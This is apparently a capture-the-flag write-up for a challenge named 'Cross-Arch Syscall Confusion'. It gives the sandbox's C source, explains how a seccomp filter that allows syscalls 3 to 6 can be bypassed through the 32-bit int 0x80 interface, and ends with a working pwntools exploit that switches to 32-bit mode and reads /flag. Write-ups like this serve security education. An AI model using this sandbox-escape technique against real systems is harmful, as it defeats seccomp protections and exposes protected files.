Cross-Arch Syscall Confusion
Challenge Source Code
#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <seccomp.h>
int main(int argc, char **argv, char **envp) {
assert(argc > 0);
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);
void *shellcode =
mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1337000);
int shellcode_size = read(0, shellcode, 0x1000);
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
for (int i = 0; i < 512; i++) {
switch (i) {
case SCMP_SYS(close):
continue;
case SCMP_SYS(stat):
continue;
case SCMP_SYS(fstat):
continue;
case SCMP_SYS(lstat):
continue;
}
assert(seccomp_rule_add(ctx, SCMP_ACT_KILL, i, 0) == 0);
}
seccomp_arch_add(ctx, SCMP_ARCH_X86);
assert(seccomp_load(ctx) == 0);
((void (*)())shellcode)();
}Vulnerability Analysis
The challenge implements a seccomp filter that whitelists specific system calls (close, stat, fstat, lstat) and explicitly enables support for the 32-bit x86 architecture (SCMP_ARCH_X86).
The vulnerability arises because seccomp filters often check the system call number, but system call numbers differ between architectures.
x86-64 (64-bit):
x86 (32-bit):close: 3stat: 4fstat: 5lstat: 6
read: 3write: 4open: 5
The filter allows syscalls 3, 4, 5, and 6. If we switch the processor to 32-bit mode (or simply execute the 32-bit int 0x80 instruction), the kernel interprets these numbers as read, write, and open.
Exploitation Plan
- Switch Mode (Conceptually): We donβt need to fully switch the process to 32-bit mode; we just need to use the 32-bit system call interface (
int 0x80). - Open Flag: Call syscall 5 (
open) to open/flag. - Read Flag: Call syscall 3 (
read) to read from the FD returned by open. - Write Flag: Call syscall 4 (
write) to write the flag to stdout.
Exploit Script
The following script demonstrates the attack. We first generate a 32-bit payload using shellcraft.cat("/flag"). Then, we prepend a 64-bit assembly stub that switches the processor to 32-bit compatibility mode using a far return (retfq). This allows us to use the 32-bit syscall interface (int 0x80) to bypass the 64-bit seccomp restrictions.
from pwn import *
elf = context.binary = ELF("./challenge")
p = process(elf.path)
# 1. Generate 32-bit payload
# The challenge allows syscalls 3, 4, 5, 6 (64-bit numbers)
# In 32-bit mode, these numbers correspond to:
# 3: read
# 4: write
# 5: open
# 6: close
# This allows us to cat the flag.
with context.local(arch="i386", bits=32):
# shellcraft.cat("/flag") uses open, read, write.
# We avoid shellcraft.exit(0) because 32-bit exit is 1, which is blocked.
payload_32 = asm(shellcraft.cat("/flag") + "jmp $")
# 2. 64-bit stub to switch to 32-bit mode
shellcode = (
asm(
"""
/* Move stack to 32-bit range */
mov rsp, 0x1338000
/* Switch to 32-bit mode (CS=0x23) */
push 0x23
lea rax, [rip + 3]
push rax
retfq
""",
arch="amd64",
)
+ payload_32
)
p.send(shellcode)
# Read output
print(p.recvall(timeout=1).decode())
p.close()